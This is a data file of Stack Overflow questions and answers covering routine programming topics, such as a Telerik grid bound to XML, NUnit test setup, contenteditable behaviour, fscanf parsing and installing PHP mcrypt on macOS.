9475742	0	Making UIImagePickerController look like Photos app <p>I'm trying to use <code>UIImagePickerController</code>, but it doesn't look like the one in Photos app. Can anyone guide me please? </p>
17324888	0	 <p>Better code (at least for me):</p> <pre><code> void MyClass::OnPaint() { CPaintDC dc(this); // device context for painting COLORREF highlightFillColor; CPen nPen, *pOldPen = NULL; CBrush nBrush, *pOldBrush = NULL; CRect rect; GetWindowRect(rect); ScreenToClient(rect); BmsMemDC memDc(&amp;dc, &amp;rect); memDc.SetBkMode(TRANSPARENT); //dc.Re highlightFillColor = RGB(0x99,0xB4,0xFF); nPen.CreatePen( PS_SOLID, 4, highlightFillColor); nBrush.CreateSolidBrush( GetSysColor(COLOR_3DFACE )); pOldPen = memDc.SelectObject(&amp;nPen); pOldBrush = memDc.SelectObject(&amp;nBrush); if(leftGroupSelected) { rect.SetRect(rect.left + 4, rect.top+30, rect.left + 126, rect.bottom - 5); memDc.FillRect(&amp;rect,&amp;nBrush); memDc.RoundRect(rect.left, rect.top, rect.right, rect.bottom, 8, 8); } if (rightGroupSelected) { rect.SetRect(rect.left + 134, rect.top+30, rect.left + 256, rect.bottom - 5); memDc.FillRect(&amp;rect,&amp;nBrush); memDc.RoundRect(rect.left, rect.top, rect.right, rect.bottom, 8, 8); } </code></pre> <p>}</p>
36242029	0	 <p>You can request a long-lived token and use it for testing purpose. <a href="https://developers.facebook.com/docs/facebook-login/access-tokens/expiration-and-extension" rel="nofollow">https://developers.facebook.com/docs/facebook-login/access-tokens/expiration-and-extension</a></p>
19886884	0	 <p>Based on my comments above, below is a workaround. Unfortunately at this stage, Windows 8.1 store Unit Test project types, using NUnit extension wouldn't work due to the different .NET targets. I tried with different Test Unit Adapters including an <a href="http://www.nuget.org/packages/NUnitTestAdapter.WithFramework/" rel="nofollow noreferrer">NUnitTestAdapterWithFramework</a>. </p> <p>It seems that the issue you haveing was occurring with standard .NET libraries targeting NUnit test adapter but the above NUnitTestAdapterWithFramework must have fixed those issue. See the <a href="http://visualstudiogallery.msdn.microsoft.com/6ab922d0-21c0-4f06-ab5f-4ecd1fe7175d/view/Reviews/3" rel="nofollow noreferrer">Q &amp; A section of the NUnitTestExtension</a></p> <p>But unfortunatly it seems that this still of an issue that hasn't been fixed for Win8 Store App type Unit Testing. Pretty sure <a href="http://xunit.codeplex.com/workitem/9826" rel="nofollow noreferrer">xUnit.NET also not compatible</a> yet with different .NET target types (i,e WinRT)</p> <p>So what are the options? a. For your group, you can change them to use MSTest framework. Outcome - Problem Solved no issues.</p> <p>b. Workaround "linked project". Outcome - Can't *guarantee** but this should also work.</p> <p><strong>With option 'b'</strong></p> <p>In your comment you mentioned.</p> <blockquote> <p>but I'm still not sure what it does or how to implement a 'linked project', do you have any more information on this? Also, as this is for a group university project, I was hoping i wouldn't have to force too many workarounds</p> </blockquote> <p>When you think about it, it is not really hard work around. It is simple and I'm sure your group would be able to apply this workaround easily.</p> <p>Please follow the below steps.</p> <ol> <li><p>Create a separate class library in your solution (you can target .NET framework 4).</p></li> <li><p>Then add NUnit assemblies and the NUnit test adapter as usual.</p> <p><img src="https://i.stack.imgur.com/jxZU8.png" alt="enter image description here"></p></li> <li><p>Right click on this project and select 'Add' then 'Existing Item'</p></li> <li><p>Select the Win8 Store Unit Test project and locate the Unit Test file you want to add. When you add the file, make sure you select 'Add As a Link' button. Please see below.</p> <p><img src="https://i.stack.imgur.com/GIx7g.png" alt="enter image description here"></p></li> <li><p>Now rebuild the solution, close and re-open the UnitTest explorer and you should be able to run those tests.</p></li> </ol> <p><img src="https://i.stack.imgur.com/p6AiB.png" alt="enter image description here"></p> <p>*The reason I said can't guaranteed. I haven't really written Unit tests against Win8 App. So if your SUT (System Under Test) require special configuration it might cause issues. But I'm not sure.</p> <p><strong>Finally creating a link files are not that hard if everything works you can continue to do this until NUnit has the support for Win8 Unit Testing. Or the other option is simply change all your Unit Tests to use MSTest framework if possible.</strong></p>
20570153	0	 <p>Ping is used to check if a server is alive. Telnet, normally allows to use the telnet service, but it can be used to check if a port is open (firewall) for remote connections.</p> <p>You should check connectivity from the client</p> <pre><code>telnet db2serverName db2Port </code></pre> <p>For example</p> <pre><code>telnet 192.168.0.1 50000 </code></pre> <p>Once you have checked that the DB2 port is open for your client, you should establish the connection or receive a different error message.</p>
37672202	0	I'm facing Duplicate name exception <p>This is the .aspx.cs file.</p> <pre><code>using System; using System.Collections; using System.Collections.Generic; using System.IO; using System.Xml.Linq; using System.Linq; using Telerik.Web.UI; using System.Web.UI.WebControls; using System.Web.UI; //using System.Web.UI.Control; using System.Web; using System.Web.Util; using System.Xml; using System.Windows.Forms; namespace Grid.Examples.DataEditing.XmlDataSourse { public partial class Default : System.Web.UI.Page { private const string BACKUP_PATH = "~/App_Data/Xml/NewBuyerLoginRef.xml"; private const string FILE_PATH = "~/App_Data/Xml/NewBuyerLogin.xml"; private const int MAX_LENGTH = 25; /// &lt;summary&gt; /// Tracks how many times the page was requested. /// &lt;/summary&gt; public int TimesRequested { get { if (this.Application["requested"] == null) { this.Application["requested"] = 0; } return (int)this.Application["requested"]; } set { this.Application["requested"] = value; } } /* protected void Page_Load(object sender, EventArgs e) { TimesRequested++; if (TimesRequested &gt;= 3) { //If the page is requested more than three times, refresh the XML file... TimesRequested = 0; RefreshXmlFile(BACKUP_PATH, FILE_PATH); } }*/ protected void RadGrid2_NeedDataSource(object sender, GridNeedDataSourceEventArgs e) { var sourceDocument = LoadDocument(FILE_PATH); //var customers = GetCustomersEnumeration(sourceDocument, "Customers", "Customer"); // var customers = from field in sourceDocument.Descendants() select field; var x = sourceDocument.Descendants("tasks"); var y = x.Descendants("fillPage"); var z= y.Descendants("input"); var w=z.Descendants("fields"); // XmlNodeList nodes= sourceDocument.selectNodes // IEnumerable&lt;XNode&gt; nodes = sourceDocument.NodesAfterSelf().Single(XElement.Equals(Attribute("seq").Value,"3" )).FirstOrDefault; var gridSource = (from field in w.Descendants() select new { id = field.Attribute("id").Value, email = field.Attribute("email").Value, login_passowrd = field.Attribute("login_password").Value }); (sender as RadGrid).DataSource = gridSource; //Rebind the upper Grid so the changes are reflected this.RadGrid1.Rebind(); } protected void RadGrid2_UpdateCommand(object source, GridCommandEventArgs e) { GridEditFormItem editForm = (GridEditFormItem)e.Item; Hashtable newValues = new Hashtable(); //Extract the new values from the editor controls editForm.ExtractValues(newValues); //Get the "Primary key" value that will be used to perform CRUD operations string id = editForm.GetDataKeyValue("id").ToString(); //Load the XML document in memory... var sourceDocument = LoadDocument(FILE_PATH); var x = sourceDocument.Descendants("tasks"); var y = x.Descendants("fillPage"); var z = y.Descendants("input"); var w = z.Descendants("fields"); //Get IEnumerable of the Customer elements // var customers = GetCustomersEnumeration(sourceDocument, "Customers", "Customer"); //Get a reference to the modified record XElement affectedElement = (from field in z.Descendants() where field.Attribute("id").Value == id select field).FirstOrDefault(); //Validate and update the input strings foreach (DictionaryEntry entry in newValues) { affectedElement.Attribute(entry.Key.ToString()).Value = ValidateString(entry.Key.ToString(), entry); } //Save the new values to the document SaveChanges(sourceDocument, FILE_PATH); } protected void RadGrid2_InsertCommand(object source, GridCommandEventArgs e) { GridEditFormItem editForm = (GridEditFormItem)e.Item; Hashtable newValues = new Hashtable(); //Extract the new values from the editor controls editForm.ExtractValues(newValues); //Load the XML document in memory... var sourceDocument = LoadDocument(FILE_PATH); var x = sourceDocument.Descendants(); var y = x.Descendants("fillPage"); var z = y.Descendants("input"); var w = z.Descendants("fields"); //Get IEnumerable of the Customer elements // var customers = GetCustomersEnumeration(sourceDocument, "Customers", "Customer"); XElement root = (from fields in z select fields).LastOrDefault(); // int x = 1; //Construct the new "Primary key" string lastid = root.Attribute("id").Value; int a = 1 + Int32.Parse(lastid); //Add the "Primary key" to the attributes values that will be used to construct the new element newValues.Add("id", a); //Construct the new element that will be inserted XElement element = new XElement("field"); //Validate and add the input strings foreach (DictionaryEntry entry in newValues) { XAttribute attribute = new XAttribute(entry.Key.ToString(), ValidateString(entry.Key.ToString(), entry)); //Add the supplied values as attributes to the newly created element element.Add(attribute); } //Add the newly created element var b = sourceDocument.Descendants().Descendants("fillPage").Descendants("input").Descendants().LastOrDefault(); b.Add(element); //Save the new values to the document SaveChanges(sourceDocument, FILE_PATH); } protected void RadGrid2_DeleteCommand(object source, GridCommandEventArgs e) { GridDataItem dataItem = (GridDataItem)e.Item; //Get the "Primary key" value that will be used to perform the Delete operation string customerID = dataItem.GetDataKeyValue("id").ToString(); //Load the XML document in memory... XDocument sourceDocument = LoadDocument(FILE_PATH); var x = sourceDocument.Descendants("tasks"); var y = x.Descendants("fillPage"); var z = y.Descendants("input"); var w = z.Descendants("fields"); //Get IEnumerable of the Customer elements // var customers = GetCustomersEnumeration(sourceDocument, "Customers", "Customer"); //Get the element that should be deleted XElement elelemntToDelete = (from field in w.Descendants() where field.Attribute("id").Value == customerID select field).FirstOrDefault(); //Remove the element from the XML document elelemntToDelete.Remove(); //Save the new values to the document SaveChanges(sourceDocument, FILE_PATH); } /// &lt;summary&gt; /// Load the source document /// &lt;/summary&gt; /// &lt;param name="path"&gt;Path to the source document&lt;/param&gt; /// &lt;returns&gt;XDocument&lt;/returns&gt; private XDocument LoadDocument(string path) { XDocument sourceDocument = XDocument.Load(this.Server.MapPath(path)); return sourceDocument; } /// &lt;summary&gt; /// Save the changes to the specified document /// &lt;/summary&gt; /// &lt;param name="sourceDocument"&gt;Path where the document will be saved&lt;/param&gt; /// &lt;param name="path"&gt;Path to the file where the changes will be saved&lt;/param&gt; private void SaveChanges(XDocument sourceDocument, string path) { try { //Save the changes back to the file sourceDocument.Save(this.Server.MapPath(path)); } catch (Exception ex) { //Notify the user if exception is raised this.Notification1.Text = ex.Message; this.Notification1.Show(); } } /// &lt;summary&gt; /// Refresh the source file if more than 5 changes are made /// &lt;/summary&gt; /// &lt;param name="sourcePath"&gt;Path to the source file that will be used for the copy operation&lt;/param&gt; /// &lt;param name="targetPath"&gt;Path to the file that needs to be refreshed&lt;/param&gt; private void RefreshXmlFile(string sourcePath, string targetPath) { try { File.Copy( this.Server.MapPath(sourcePath), this.Server.MapPath(targetPath), true); } catch (IOException ex) { this.Trace.Write(ex.InnerException.Message); this.Notification1.Text = ex.InnerException.Message; this.Notification1.Show(); } Notification1.Text = "The xml data file was refreshed!"; Notification1.Show(); } /// &lt;summary&gt; /// Get all the customers elements from the file /// &lt;/summary&gt; /// &lt;param name="sourceDocument"&gt;File that will be traversed&lt;/param&gt; /// &lt;param name="rootNode"&gt;Root node of the document&lt;/param&gt; /// &lt;param name="childNode"&gt;Child nodes that will be taken&lt;/param&gt; /// &lt;returns&gt;IEnumerable&lt;/returns&gt; /* private IEnumerable&lt;XElement&gt; GetCustomersEnumeration(XDocument sourceDocument, XName rootNode, XName childNode,XName schild,XName sschild) { var customers = sourceDocument.getElementById ; return customers; }*/ /// &lt;summary&gt; /// Validates the input string before it is saved to the file /// &lt;/summary&gt; /// &lt;param name="attribute"&gt;The attribute to which the value should be saved&lt;/param&gt; /// &lt;param name="entry"&gt;DictionaryEntry that stores the input value&lt;/param&gt; /// &lt;returns&gt;String&lt;/returns&gt; private string ValidateString(string attribute, DictionaryEntry entry) { int strLength = this.ConvertNullToEmpty(entry.Value.ToString()).Length; //Split the string if it is too long if (strLength &gt; MAX_LENGTH) { return HttpUtility.HtmlEncode(this.ConvertNullToEmpty(entry.Value).Substring(0, MAX_LENGTH)); } else { return HttpUtility.HtmlEncode(this.ConvertNullToEmpty(entry.Value).Substring(0, strLength)); } } /// &lt;summary&gt; /// Converts null value to empty string /// &lt;/summary&gt; /// &lt;param name="obj"&gt;Object that will be converted&lt;/param&gt; /// &lt;returns&gt;String&lt;/returns&gt; private String ConvertNullToEmpty(Object obj) { if (obj == null) { return String.Empty; } else { return obj.ToString(); } } } } </code></pre> <p>Here is the datasource i.e. xml file</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;tasks xmlns="http://xxxxxx.com/systemic/testflow" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxxxxx.com/systemic/testflow ../../testflow.xsd"&gt; &lt;!-- Seller Login --&gt; &lt;loadPage seq="1" deleteCookies="true"&gt; &lt;taskName&gt;Load login&lt;/taskName&gt; &lt;location url="/cgi-bin/webscr?cmd=_login-run" relative="true" /&gt; &lt;/loadPage&gt; &lt;clickElement seq="2" optional="true"&gt; &lt;taskName&gt;Click LogIn Button&lt;/taskName&gt; &lt;input&gt; &lt;fields&gt; &lt;field id="login-button" waitInSecs="5"/&gt; &lt;/fields&gt; &lt;/input&gt; &lt;/clickElement&gt; &lt;fillPage seq="3"&gt; &lt;taskName&gt;FillLogin&lt;/taskName&gt; &lt;input&gt; &lt;fields&gt; &lt;field id="1" email="guestEmail" login_password="allxo123!"/&gt; &lt;field id="3" email="guestEmail3" login_password="allxo123!3"/&gt; &lt;field id="2" email="guestEmail2" login_password="allxo123!2"/&gt; &lt;/fields&gt; &lt;/input&gt; &lt;/fillPage&gt; &lt;clickElement seq="4"&gt; &lt;taskName&gt;Login&lt;/taskName&gt; &lt;input&gt; &lt;fields&gt; &lt;field id="btnLogin" submit="true" submitWait="120" waitInSecs="25" /&gt; &lt;/fields&gt; &lt;/input&gt; &lt;/clickElement&gt; &lt;/tasks&gt; </code></pre> <p>The error message shows </p> <blockquote> <p>A column named 'Value' already belongs to this DataTable.</p> </blockquote> <p>But there is no column with name 'Value'. The exception is thrown at the second line of <code>RadGrid2_UpdateCommand</code> function. I'm new to this. So please help. Thank you.</p>
37129365	0	Contenteditable, bizarre behaviour of child elements, and NOT whitespace independent? <p>I've been playing around with <code>contenteditable</code> fields, and have come across an odd behaviour that I cannot figure out.</p> <p>Check out <a href="https://jsfiddle.net/13u00nus/" rel="nofollow noreferrer">fiddle</a> for this particular problem.</p> <p>I have two <em>identical</em> <code>contenteditable</code> divs. Both of them have the same <code>&lt;span&gt;</code> child, followed by a single blank character (otherwise carrot issues ensue). The only difference between the two is that the second div has been "prettified", and made more readable by indenting the <code>&lt;span&gt;</code> on a new line.</p> <pre><code>&lt;div style="margin-bottom: 15px;" contenteditable="true"&gt;&lt;span class="lead" contenteditable="false"&gt;Something something&lt;/span&gt;&amp;#8203;&lt;/div&gt; &lt;div contenteditable="true"&gt; &lt;span class="lead" contenteditable="false"&gt;Something something&lt;/span&gt;&amp;#8203; &lt;/div&gt; </code></pre> <p>Try this in both of the divs...</p> <ol> <li>Place the carrot to the right-end of the content (i.e. after the blank character)</li> <li>Then hit backspace a couple times</li> </ol> <p>You'll notice that in the top (first) <code>contenteditable</code> div, you can delete the <code>&lt;span&gt;</code> element, as though it were one giant character. You should also notice that that in the second div, no amount of backspacing will ever clear it out. At least not in Safari.</p> <p>So what gives!? I thought HTML was whitespace independent - why the difference in behaviour of the two?</p> <p>Viewing the source, they have <em>slightly</em> different markup...</p> <p><a href="https://i.stack.imgur.com/4Qg9l.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/4Qg9l.png" alt="contenteditable source"></a></p> <p>... but it still behooves me as to why there would be any difference.</p> <p>I would like it to be deletable, and so the solution is obviously just to use the former version, but it is still curious as to why this issue exists at all.</p> <p>Also! If you happen to be a <code>contenteditable</code> guru, I've been fighting with another issue <a href="http://stackoverflow.com/questions/37108671/html-css-js-contenteditable-div-with-permanent-leading-content">over here</a>. Any help on that one is welcome!</p>
4906065	0	 <p>You can wrap <code>Wheel[4]</code> in new class by creating specific List.</p>
31004208	0	IE11 - flash (.swf) not working when not connected/offline using appcache (webcam.js) <p>we are running webcam.js to take pictures inside a html site. We are also using appcache to provide offline access to all of the files.</p> <p>Everything works fine in Chrome (43.0.2357.124) regardless of the connection (online/offline). When using the same site in Internet Explorer (11.0.9600.17842) we are expiriencing problems when using the webcam.js to take pictures.</p> <p>When the device is online, everything works as planned but as soon as the device goes offline, the execution/initialization of the flash plugin seems to fail (only a blank space and when you right click, it says 'could not be loaded). You can see in the network tab inside the developer tools that the webcam.swf has the status '(aborted)'.</p> <p>The status of the webcam.swf when the device is online is 304 - so it seems that it is loaded from cache, which is fine.</p> <p>We also created several testcases where we were using several different swf files and a stripped down appcache manifest, but couldn't get it to work inside IE 11 (Windows 8.1). Neither inside the metro or desktop version of the browser. We also tested on 3 different devices, but still no luck.</p> <p>Any ideas what is causing this problems in IE? Thanks in advance!</p>
30148228	0	 <p>You're using <code>img</code> tags with <code>background-image</code>. I honestly don't know what browser support is for that, but it's a bad idea. Instead use divs. You'll also need to make the styles forcing it to inline block. Alternatively, you could go with something like font awesome/glyphicon's strategy of <code>::before</code> styling, usually used with spans.</p> <pre><code>&lt;!DOCTYPE html&gt; &lt;html&gt; &lt;head&gt; &lt;style type="text/css"&gt; .outdoor { background-image: url(sprites.png); background-repeat: no-repeat; background-position: -14px -110px; width: 20px; height: 20px; display:inline-block; } .parking{ background-image: url(sprites.png); background-repeat: no-repeat; background-position: -15px -60px ; width: 20px; height: 20px; display:inline-block; } &lt;/style&gt; &lt;/head&gt; &lt;body&gt; &lt;h1&gt;Hello Sprites.. Why are you appearing in Chrome, but not in Firefox? Please appear&lt;/h1&gt; &lt;div class="outdoor" &gt;&lt;/div&gt; &lt;div class="parking" &gt;&lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>
26729511	0	 <p>Just check once if it is only \037 or ,\037 in delimiter. And also check the same in session in set file properties for the flat file target. </p>
2625164	0	 <pre><code>string newPassword = Membership.GeneratePassword(15, 0); newPassword = Regex.Replace(newPassword, @"[^a-zA-Z0-9]", m =&gt; "9" ); </code></pre> <p>This regular expression will replace all non alphanumeric characters with the numeric character 9.</p>
16581835	0	 <p>I suggest you follow google plus more often for latest Android happenings. There are already plenty of discussion in their <a href="https://plus.google.com/u/0/communities/105153134372062985968" rel="nofollow">community</a> . Make sure you set JDK_HOME or JAVA_HOME appropriately, or look into <a href="http://www.ootpapps.com/2013/05/android-studio-wont-open-how-to-fix-android-studio/" rel="nofollow">this</a>.</p>
39533385	0	 <p>As explained by @nos in a <a href="http://stackoverflow.com/questions/39532602/in-eclipse-how-to-know-which-parameter-is-the-cursor-on-a-java-method#comment66379722_39532602">comment</a>, pressing <code>ctrl+space</code> in Eclipse will popup a tooltip that highlights (in <strong>bold</strong>) the parameter where the cursor is, as illustrated in in image provided by @nos:<br> <a href="https://i.stack.imgur.com/x4AMG.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/x4AMG.png" alt="enter image description here"></a></p> <p>However, that still requires IDE support and is relatively cumbersome to use <em>(you have to position cursor and trigger it to use it)</em>, so you should consider other means.</p> <p>No method should take 24 parameters, but if you absolute must, then your should comment all parameter values that are not self-explanatory, e.g. <code>year</code> and <code>name</code> are probably explanatory enough, but values like <code>null</code>, <code>0</code>, <code>false</code>, <code>42</code>, <code>true</code>, etc. does not convey <em>meaning</em>, so you should comment them:</p> <pre><code>src.myFunction(year, name, /*address1*/null, /*address2*/null, /*city*/null, /*state*/"NY", /*zipcode*/null); </code></pre> <p>That way a casual observer will know exactly what the values mean.</p> <p>Another way to do this is to wrap all the parameter values in a POJO and use the builder pattern.</p> <pre><code>src.myFunction(new MyPojo() .setYear(year) .setName(name) .setState("NY")); </code></pre>
11200335	0	Invalid output with fscanf() <p>The language I am using is C I am trying to scan data from a file, and the code segment is like:</p> <pre><code>char lsm; long unsigned int address; int objsize; while(fscanf(mem_trace,"%c %lx,%d\n",&amp;lsm,&amp;address,&amp;objsize)!=EOF){ printf("%c %lx %d\n",lsm,address,objsize); } </code></pre> <p>The file which I read from has the first line as follows:</p> <pre><code> S 00600aa0,1 I 004005b6,5 I 004005bb,5 I 004005c0,5 S 7ff000398,8 </code></pre> <p>The results that show in stdout is:</p> <pre><code> 8048350 134524916 S 600aa0 1 I 4005b6 5 I 4005bb 5 I 4005c0 5 S 7ff000398,8 </code></pre> <p>Obviously, the results had an extra line which comes nowhere.Is there anybody know how this could happen? Thx!</p>
685011	0	SQL Server 2008 Management Studio Snippets <p>Is there a snippets feature in SQL Server 2008 Management Studio?</p>
16529304	0	 <p>You can try swapping backgrounds like so:</p> <p>Create CSS Class for each background and include transitions as part of the ruleset:</p> <pre><code>.background-1 { background: url('background-1.jpg'); -webkit-transition: background 500ms linear; -moz-transition: background 500ms linear; -o-transition: background 500ms linear; -ms-transition: background 500ms linear; transition: background 500ms linear; </code></pre> <p>}</p> <p>Add a script that will swap out the classes on a regular interval. (You would most likely wrap this script within $(document).ready) Since your transitioning backgrounds, you may not want the previous background immediately removed, so you can use a delay call to remove it after the transition would complete.</p> <p>The following example would start the background switch every two seconds, and remove the previous background after 1 second. Since in my CSS, I declared that the transition should take .5 seconds, the new background is already there before the old one is removed:</p> <pre><code>setInterval(function() { if($('#background').hasClass('background-1')) { $('#background').addClass('background-2'); setTimeout(function() { $('#background').removeClass('background-1'); }, 1000); } else if($('#background').hasClass('background-2')) { $('#background').addClass('background-1'); setTimeout(function() { $('#background').removeClass('background-2'); }, 1000); } }, 2000); </code></pre> <p>Note: The code that I've provided would require you to chain multiple if/else if statements together, there is probably a more efficient way to go about this. </p> <p>I've done something similar (background colors instead of images) as a teaser for an upcoming project of mine, you can check it out <a href="http://www.theaccordance.com" rel="nofollow">here</a>. </p> <p><strong>Update:</strong> Forgot to mention, make sure to declare one of the background classes in your Div element:</p> <pre><code>&lt;div id="background" class="background-1"&gt;&lt;/div&gt; </code></pre>
6997375	0	 <p>well, i don't quite understand why your button don't respond, because i've came across similar problems but i've used different solutions. here's what i've done:</p> <pre><code>CGRect reuseableRect = CGRectMake(20, 290, 260, 37); self.actionButton = [UIButton buttonWithType:UIButtonTypeRoundedRect]; self.actionButton.frame = reuseableRect; [self.actionButton setTitle:@"Initialize" forState:UIControlStateNormal]; [self.actionButton addTarget:nil action:@selector(performAction) forControlEvents:UIControlEventTouchUpInside]; [self addSubview:self.actionButton]; </code></pre> <p>Actually, i did this :</p> <pre><code>self.actionButton = [[UIButton alloc] initWithFrame:reuseableRect]; </code></pre> <p>but it didn't work. so i changed it into </p> <pre><code>self.actionButton = [UIButton buttonWithType:UIButtonTypeRoundedRect]; </code></pre> <p>the resueableRect is just a CGRect that I've used all through the view initialization.</p> <p>as for the three lines of your previous solution, the first one:</p> <pre><code>[self setSelectionStyle:UITableViewCellSelectionStyleNone]; </code></pre> <p>it's doing some configurations to the tableView and its cells, so it's not going to affect the button</p> <p>the second one:</p> <pre><code>cell.userInteractionEnabled = NO; </code></pre> <p>it's not configuring the button as well, what's more, since the cell is the super view of the button, this line prevents any user interactions.</p> <p>the third one is not doing anything to the button as well, so i recommend that you delete all of them if you were thinking about configuring the button</p>
6314327	0	I have installed Berkeley DB 5.1.25.msi Windows installer <p>I have installed Berkeley DB 5.1.25.msi Windows installer and now I want to connect to it with a Java API. How can I do that?</p>
1217690	0	 <p>I'm probably showing my age, but I still love my copy of <a href="http://rads.stackoverflow.com/amzn/click/0201848406" rel="nofollow noreferrer">Foley, Feiner, van Dam, and Hughes</a> (The White Book).</p> <p>Jim Blinn had a great column that's available as a book called <a href="http://rads.stackoverflow.com/amzn/click/1558603875" rel="nofollow noreferrer">Jim Blinn's Corner: A Trip Down the Graphics Pipeline</a>.</p> <p>Both of these are quited dated now, and aside from the principles of 3D geometry, they're not very useful for programming today's powerful pixel pushers.</p> <p>OTOH, they're probably just perfect for an embedded environment with no GPU or FPU!</p>
24426871	0	Accessing a controller from a external library file codeigniter <p>I have added a external library controller in "<strong>application/libraries/Validate_login.php</strong>". </p> <p>When i load a controller in <strong>application/controllers/</strong> from external library controller, i'm getting error <code>Library verifylogin Not Found.</code></p> <p>Validate_login.php</p> <pre><code>class Validate_login extends CI_Controller { function __construct() { parent::__construct(); $this-&gt;load-&gt;model('loginuser'); $this-&gt;load-&gt;helper('url'); $this-&gt;load-&gt;library('verifylogin');// controller which is in application/controllers/ } } </code></pre>
12552139	0	 <p>Because you work with statically allocated arrays you probably stumbled upon writing after the end of the array.</p> <p>You state that the file has exactly 21 entries but what happens with the eof condition? If you read the last entry, the stream still doesn't have the eof bit set. This only happens when you try to read and there is nothing. After the 21st entry, the loop still continues because the eof bit is not set. It reads garbage information and tries to store it into paInventory[21], but the array was only 21 in size.</p> <pre><code>//after last read x=21 and eof not set while (!InputInventory.eof () ) { //first read causes eof to be set InputInventory &gt;&gt; iTempPluCode &gt;&gt; sTempDescription &gt;&gt; dTempPrice &gt;&gt; iTempType &gt;&gt; dTempInventory; //Accessing paInventory[21] here which causes your error paInventory[x].setiPluCode(iTempPluCode); //...// } </code></pre>
2836845	0	 <p>The extra "stuff" is there because you've passed the buffer size to <code>memcpy</code>. It's going to copy that many characters, even when the source is shorter.</p> <p>I'd do things a bit differently:</p> <pre><code>void copy_string(char *dest, char const *src, size_t n) { *dest = '\0'; strncat(dest, src, n); } </code></pre> <p>Unlike <code>strncpy</code>, <code>strncat</code> is defined to work how most people would reasonably expect.</p>
19512154	0	Yii CHtml submitButton Save function <p>I am using two buttons. The first one is a button to save all data in a form:</p> <pre><code>echo CHtml::submitButton("Save", array('id'=&gt;'btSubmit','class' =&gt; 'btn', 'name' =&gt; 'files', 'title' =&gt; 'Save the updates to these files')); </code></pre> <p>The second one is to complete a submission:</p> <pre><code>&lt;form action="/dataset/submit" method="post" style="display:inline"&gt; &lt;input type="hidden" name="file" value="file"&gt; &lt;input type="submit" value="Complete submission" class="btn-green" title="Submit changes to file details." onclick="btSubmit."/&gt; &lt;/form&gt; </code></pre> <p>When I click the complete submission button, I want the code to first run the save button function and then run the post submit function. However, I don't know how to use the CHtml::submitButton onClick in the other button. How can I solve this issue?</p>
14809694	0	 <p>Ensure you are including the correct (latest) <strong>cordova</strong> file in your HTML. </p> <p>I had the same problem and I was including </p> <pre><code>cordova-1.8.0.js </code></pre> <p>rather than </p> <pre><code>cordova-2.4.0.js </code></pre>
14359504	0	 <p>After wondering for hours through different advices, <a href="http://www.gigoblog.com/2011/01/27/add-mcrypt-to-mac-os-x-server/comment-page-1/#comment-3897">this one</a> worked for me (Installed via MacPorts):</p> <p>Courtesy of <strong>Chris Brewer</strong>:</p> <p>Download and install MacPorts from <code>http://macports.org.</code></p> <p>The following steps are performed in the Terminal:</p> <p>Force MacPorts to update (will only work if Apple's Xcode installed):</p> <pre><code>sudo port -v selfupdate </code></pre> <p>Now, install memcached:</p> <pre><code>sudo port install php5-mcrypt </code></pre> <p>Copy the newly created shared object for mcrypt into Mac OS X’s default PHP5 extension directory:</p> <pre><code>sudo cp /opt/local/lib/php/extensions/no-debug-non-zts-20090626/mcrypt.so /usr/lib/php/extensions/no-debug-non-zts-20090626/ </code></pre> <p>Next, you need to edit php.ini to add the extensions. Find the phrase Dynamic Extensions, and add:</p> <pre><code>extension=mcrypt.so </code></pre> <p>And finally, restart Apache:</p> <p><code>sudo apachectl restart</code></p>
26879181	0	Highcharts custom styling connect and label <p>How to I custom donuts in highcharts with, each start point connect label have a circle, and style the connect line, and hidden the lower value. I using highcharsjs</p> <p>like this one</p> <p><img src="https://i.stack.imgur.com/3Qqj5.png" alt="enter image description here"></p>
13034355	0	Web Deploy to 2 separate web servers? <p>I have an MVC3 application that I deploy to IIS 7.5 using the "Web Publish" feature in Visual Studio. I need to setup a 2nd server that will be hardware load-balanced and will mirror the setup on the 1st server.</p> <p>I am aware of the Web Farm Framework and that is an option, however I don't like the idea of the controller server being the weakest link in the chain. I think I would rather just use the hardware load balancer to direct traffic.</p> <p>Is it possible to write a manual Web Deploy script that will target 2 separate servers each time it is run? </p>
27279740	0	In spring config xml file all dependency are instantiate for Singleton scope when application context start? <p>As I know "the instantiation of the application context create the container that consists of the objects define in that XML file.</p> <p>This XML file is then provided to the <code>ApplicationContext</code> instance, which creates a container with these beans and their object graphs along with relationship .the spring container is simply a holder if the bean instances that where create from the XML file.</p> <p>I have some confusion: is their all bean instance is create in XML file when applicationcontext create. Or it created when getbean() call? Because if all bean dependency class object is created at context level because of singleton then some of the instance not injected to dependent object reference. Then why we create extra overhead to creating all instance?</p>
3061186	0	 <p>They buy their data from other companies to form the maps. I beleive they purchased the majority of it from Tele Atlas. <a href="http://code.google.com/apis/maps/signup.html" rel="nofollow noreferrer">http://code.google.com/apis/maps/signup.html</a></p> <p>Here is a lot of information on the history of it: <a href="http://en.wikipedia.org/wiki/Google_Maps#Map_projection" rel="nofollow noreferrer">http://en.wikipedia.org/wiki/Google_Maps#Map_projection</a></p>
38421784	0	 <p>Most likely the function is not the bottleneck, but the fact that you are calling it 12 million times :-)</p> <p>An obvious improvement is having a variable </p> <pre><code>const char* file_pos = file + pos; </code></pre> <p>simplifying every single access. You don't say how tline is implemented; if a line never contains more than two words then you can probably make it faster by having two std::string members instead of an array. </p>
20211559	0	Converting arbitrarily nested lists to POCOs or DataTables <p>I like to use nested Lists like <code>List&lt;List&lt;double&gt;&gt;</code>. Unfortunately I am using a library that only supports POCOs, ie plain old clr objects or DataTables.</p> <p>Is there a way to create a POCO or DataTable out of <code>List&lt;List&lt;double&gt;&gt;</code> or <code>List&lt;myClass&gt;</code> for my library to work with?</p> <p>In other words the same as <a href="http://stackoverflow.com/questions/6344939/how-to-convert-listliststring-to-a-datatable?lq=1">here</a> but not for string but for an arbitrarily nested list <code>List&lt;List&lt;double&gt;&gt;</code> or <code>List&lt;myClass&gt;</code>.</p>
33905192	0	 <p>MATLAB has a built-in for this. If N is the number of shades you want (471 in your case) you can do</p> <pre><code>N = 471; c = colormap(jet(N)); </code></pre> <p>then access c in every loop iteration via <code>c(i, :)</code>. For reference see the <a href="http://uk.mathworks.com/help/matlab/ref/colormap.html" rel="nofollow">man page</a> ;).</p>
